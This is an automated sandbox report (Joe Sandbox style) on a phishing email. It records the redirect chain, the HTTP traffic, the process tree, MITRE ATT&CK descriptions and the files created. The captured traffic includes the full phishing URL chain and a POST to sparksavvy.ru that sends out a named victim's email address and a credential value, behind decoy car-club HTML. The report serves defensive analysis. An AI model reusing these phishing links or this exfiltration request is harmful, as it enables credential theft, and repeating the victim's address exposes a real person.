2024-10-10 16:01:00 UTC	1148	IN	HTTP/1.1 200 OK Content-Length: 2215 Content-Type: application/json; charset=utf-8 Cache-Control: private X-EventID: 6707fa3caaee4d06941403523fb3602a X-AS-SetSessionMarket: de-ch UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-XSS-Protection: 0 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Thu, 10 Oct 2024 16:01:00 GMT Connection: close Set-Cookie: _EDGE_S=SID=1119C2D27C84601A1806D7C67D9361B8&mkt=de-ch; domain=.bing.com; path=/; HttpOnly Set-Cookie: ANON=A=84BEA1DAAAB85FA790252CDAFFFFFFFF; domain=.bing.com; expires=Tue, 04-Nov-2025 16:01:00 GMT; path=/; secure; SameSite=None Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/; secure; SameSite=None Set-Cookie: _SS=SID=1119C2D27C84601A1806D7C67D9361B8; domain=.bing.com; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.18d854b8.1728576060.281e906c
2024-10-10 16:01:00 UTC	2215	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 31 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 46 65 61 74 75 72 65 43 6f 6e 66 69 67 22 3a 7b 22 53 65 61 72 63 68 42 6f 78 49 62 65 61 6d 50 6f 69 6e 74 65 72 4f 6e 48 6f 76 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 68 6f 77 53 65 61 72 63 68 47 6c 79 70 68 4c 65 66 74 4f 66 53 65 61 72 63 68 42 6f 78 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 6f 78 55 73 65 53 65 61 72 63 68 49 63 6f 6e 41 74 52 65 73 74 22 3a 7b 22 76 61 6c 75 65 22 3a 66 61 6c 73 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 75 74 74 6f 6e 55 73 65 53 65 61 72 63 68 49 63 6f 6e 22 3a 7b 22 76 61 6c 75 65 Data Ascii: {"version":1,"config":{"FeatureConfig":{"SearchBoxIbeamPointerOnHover":{"value":true,"feature":""},"ShowSearchGlyphLeftOfSearchBox":{"value":true,"feature":""},"SearchBoxUseSearchIconAtRest":{"value":false,"feature":""},"SearchButtonUseSearchIcon":{"value

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.17	49750	104.21.48.11	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:01:07 UTC	736	OUT	POST ///7140.php HTTP/1.1 Host: sparksavvy.ru Connection: keep-alive Content-Length: 112 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-10 16:01:07 UTC	112	OUT	Data Raw: 64 6f 3d 6c 65 26 65 6d 3d 72 61 63 68 65 6c 2e 61 6e 64 65 72 73 6f 6e 25 34 30 61 6d 65 72 69 63 61 6e 73 69 67 6e 61 74 75 72 65 2e 63 6f 6d 26 70 78 3d 64 66 68 61 6e 64 66 68 73 64 6b 66 66 68 66 26 73 65 63 3d 71 31 59 71 4c 73 35 58 73 73 6f 72 7a 63 6e 52 55 53 6f 70 55 4c 4a 53 79 6b 39 4c 55 36 6f 46 41 41 25 33 44 25 33 44 Data Ascii: do=le&em=rachel.anderson%40americansignature.com&px=dfhandfhsdkffhf&sec=q1YqLs5XssorzcnRUSopULJSyk9LU6oFAA%3D%3D
2024-10-10 16:01:13 UTC	776	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 16:01:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/7.3.33 access-control-allow-origin: * cache-control: no-store, no-cache, must-revalidate, max-age=0 pragma: no-cache expires: Wed, 11 Jan 1984 05:00:00 GMT vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F41p10bQRtHhw7kUbKSa%2FTP0I5M9s7GPL5pzpw4daTzft8m8p0L7uqyVeBnH8ns6mg32h6%2FCkRRQ85Z37wKHH%2BVaWQXucAkznU%2B4wK5EmTg6DJL1p6U%2FJHF%2FK2O5Tt7P"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d07d3c928df15bb-EWR alt-svc: h3=":443"; ma=86400
2024-10-10 16:01:13 UTC	36	IN	Data Raw: 31 65 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 30 22 2c 22 6d 65 73 73 61 67 65 22 3a 66 61 6c 73 65 7d 0d 0a Data Ascii: 1e{"status":"0","message":false}
2024-10-10 16:01:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.17	49752	104.21.48.11	443	5760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:01:14 UTC	347	OUT	GET ///7140.php HTTP/1.1 Host: sparksavvy.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-10 16:01:14 UTC	813	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 16:01:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/7.3.33 access-control-allow-origin: * cache-control: no-store, no-cache, must-revalidate, max-age=0 pragma: no-cache expires: Wed, 11 Jan 1984 05:00:00 GMT vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JbgZdbABXj416VpeQgXTr1EF9CfrOh0s4AjfjG1blbjzIynFRTY1Svh1PRw%2BrzpHKZw%2FS3%2FyJAlXsY2iEhYugN36i5JMmeqvzv9cTN2hroHJVqZo4xfWx1DJXqfDl7KU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8d07d3f1fdcb6a56-EWR alt-svc: h3=":443"; ma=86400
2024-10-10 16:01:14 UTC	556	IN	Data Raw: 31 61 32 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 2c 20 6e 6f 73 6e 69 70 70 65 74 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 75 74 6f 6d 6f 62 69 6c 65 20 48 69 73 74 Data Ascii: 1a25<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noarchive, nosnippet, noindex, nofollow"> <title>Automobile Hist
2024-10-10 16:01:14 UTC	1369	IN	Data Raw: 61 6e 64 2d 6c 67 20 6e 61 76 62 61 72 2d 64 61 72 6b 20 62 67 2d 64 61 72 6b 22 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 62 72 61 6e 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 70 61 72 6b 73 61 76 76 79 2e 72 75 2f 23 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 63 61 72 22 3e 3c 2f 69 3e 20 41 75 74 6f 6d 6f 62 69 6c 65 20 48 69 73 74 6f 72 79 20 43 6c 75 62 20 0d 0a 20 20 20 20 20 20 20 20 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 74 6f 67 67 6c 65 72 22 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 Data Ascii: and-lg navbar-dark bg-dark"> <div class="container"> <a class="navbar-brand" href="https://sparksavvy.ru/#"> <i class="fas fa-car"></i> Automobile History Club </a> <button class="navbar-toggler" type="button"
2024-10-10 16:01:14 UTC	1369	IN	Data Raw: 64 69 76 3e 0d 0a 3c 2f 6e 61 76 3e 0d 0a 0d 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 72 6f 20 62 67 2d 64 61 72 6b 20 74 65 78 74 2d 6c 69 67 68 74 20 74 65 78 74 2d 63 65 6e 74 65 72 22 20 73 74 79 6c 65 3d 22 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 35 30 70 78 3b 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 35 30 70 78 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 74 68 2e 62 69 6e 67 2e 63 6f 6d 2f 74 68 2f 69 64 2f 4f 49 50 2e 34 72 58 69 51 55 5f 30 4e 59 66 69 70 4e 41 4c 69 6f 6a 42 44 77 48 61 45 4c 27 29 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 63 65 6e 74 65 72 3b 22 3e 0d 0a 20 20 Data Ascii: div></nav><div class="hero bg-dark text-light text-center" style="padding-top: 150px; padding-bottom: 50px; background-image: url('https://th.bing.com/th/id/OIP.4rXiQU_0NYfipNALiojBDwHaEL'); background-size: cover; background-position: center;">
2024-10-10 16:01:14 UTC	1369	IN	Data Raw: 6e 63 65 72 74 61 69 6e 2c 20 75 6e 63 6c 61 64 2c 20 61 6e 64 20 69 6e 63 6f 6d 70 6c 65 74 65 2e 20 2d 20 4d 61 72 73 68 61 6c 6c 20 4d 63 4c 75 68 61 6e 20 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 71 75 6f 74 65 2d 72 69 67 68 74 22 3e 3c 2f 69 3e 3c 2f 70 3e 20 0d 0a 20 20 20 20 20 20 20 20 3c 2f 62 6c 6f 63 6b 71 75 6f 74 65 3e 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 0d 0a 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 70 79 2d 35 20 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 Data Ascii: ncertain, unclad, and incomplete. - Marshall McLuhan <i class="fas fa-quote-right"></i></p> </blockquote> </div></section><section class="py-5 text-center"> <div class="container"> <div class="row"> <div cla
2024-10-10 16:01:14 UTC	1369	IN	Data Raw: 72 65 61 74 65 73 74 20 69 6e 20 73 75 70 65 72 63 61 72 20 74 65 63 68 6e 6f 6c 6f 67 79 2c 20 70 65 72 66 6f 72 6d 61 6e 63 65 2c 20 61 6e 64 20 64 65 73 69 67 6e 2e 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 70 61 72 6b 73 61 76 76 79 2e 72 75 2f 23 6d 6f 64 65 72 6e 2d 73 75 70 65 72 63 61 72 73 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 70 72 69 6d 61 72 79 22 3e 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 63 68 65 76 72 6f 6e 2d 72 69 67 68 74 22 3e 3c 2f 69 3e 20 52 65 61 64 20 4d 6f 72 65 3c 2f 61 3e 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: reatest in supercar technology, performance, and design.</p> <a href="https://sparksavvy.ru/#modern-supercars" class="btn btn-primary"><i class="fas fa-chevron-right"></i> Read More</a> </div>
2024-10-10 16:01:14 UTC	669	IN	Data Raw: 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 70 61 72 6b 73 61 76 76 79 2e 72 75 2f 23 70 72 69 76 61 63 79 22 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 6c 69 67 68 74 22 3e 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 75 73 65 72 2d 73 65 63 72 65 74 22 3e 3c 2f 69 3e 20 50 72 69 76 61 63 79 3c 2f 61 3e 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6c 69 73 74 2d 69 6e 6c 69 6e 65 2d 69 74 65 6d 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 70 61 72 6b 73 61 76 76 79 2e 72 75 2f 23 74 65 72 6d 73 22 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 6c 69 67 68 74 22 3e 3c 69 20 63 6c Data Ascii: <a href="https://sparksavvy.ru/#privacy" class="text-light"><i class="fas fa-user-secret"></i> Privacy</a> </li> <li class="list-inline-item"> <a href="https://sparksavvy.ru/#terms" class="text-light"><i cl
2024-10-10 16:01:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	12:00:06
Start date:	10/10/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\Desktop\Untitled.eml"
Imagebase:	0x20000
File size:	34'446'744 bytes
MD5 hash:	91A5292942864110ED734005B7E005C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	12:00:07
Start date:	10/10/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "9481654E-6412-4E74-B834-5C10E5065AFF" "1BE9F5B3-BC09-46F0-B4EC-321D2A6971AA" "6888" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Imagebase:	0x7ff635740000
File size:	710'048 bytes
MD5 hash:	EC652BEDD90E089D9406AFED89A8A8BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	12:00:13
Start date:	10/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Fwww.tiktok.com%2F%2F%2F%2F%2Flink%2Fv2%3Faid%3D1988%26lang%3Denpihd7s%26scene%3Dbio_url%26target%3Dwww.google.com%2Furl%3Fq%253DIrfT8NMLx6QPaJgv6Z3g%2526rct%253DqsUbQmXhZ93d4gNXIWaR%2526sa%253Dt%2526esrc%253DEgJeLX8CAl11DNSW7pgH%2526source%253D%2526cd%253D9X3EYbyCMUoB46Jqpszn%2526cad%253Dz64Ndl7J844jI5EH33et%2526ved%253D36LRX1krI3rPMEZVSMU2%2526uact%253D%252520%2526url%253Damp%252F%25E2%2580%258Bbay%25C2%25ADrak%25C2%25ADtar%25C2%25ADplaza%25C2%25AD%25C2%25AD.%25E2%2580%258Bco%25C2%25ADm%252Fauth%252Factive%252Fy8E4XKJctWEENyvnBLR6%252FcmFjaGVsLmFuZGVyc29uQGFtZXJpY2Fuc2lnbmF0dXJlLmNvbQ%3D%3D%26source%3Dgmail%26ust%3D1725986149001000%26usg%3DAOvVaw1kdi6SPX1NGpGYFWhG_1Z7&data=05%7C02%7Crachel.anderson%40americansignature.com%7Cea716afa6d36469e78a108dce92d41a9%7C5c02e89ab9684d4e960de62c7cd02766%7C0%7C0%7C638641627826692599%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C20000%7C%7C%7C&sdata=UMW01VeNOABdw6sIGnj5zpPinQYedujNvCzkhwwtiOg%3D&reserved=0
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	12:00:13
Start date:	10/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1960 --field-trial-handle=1988,i,4881568969463598969,2888429582230236823,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Untitled.eml

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\FORMS\FRMCACHE.DAT

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-journal

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{CB842198-F03A-4178-B2BC-445B461D801A}.tmp

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1728576006965371300_B8BF6625-96B0-4FA4-BF7A-E3E8BA1A4684.log

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1728576006966140400_B8BF6625-96B0-4FA4-BF7A-E3E8BA1A4684.log

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241010T1200060754-6888.etl

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

C:\Users\user\AppData\Roaming\Microsoft\Outlook\NoEmail.srs

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst

C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Windows Analysis Report
Untitled.eml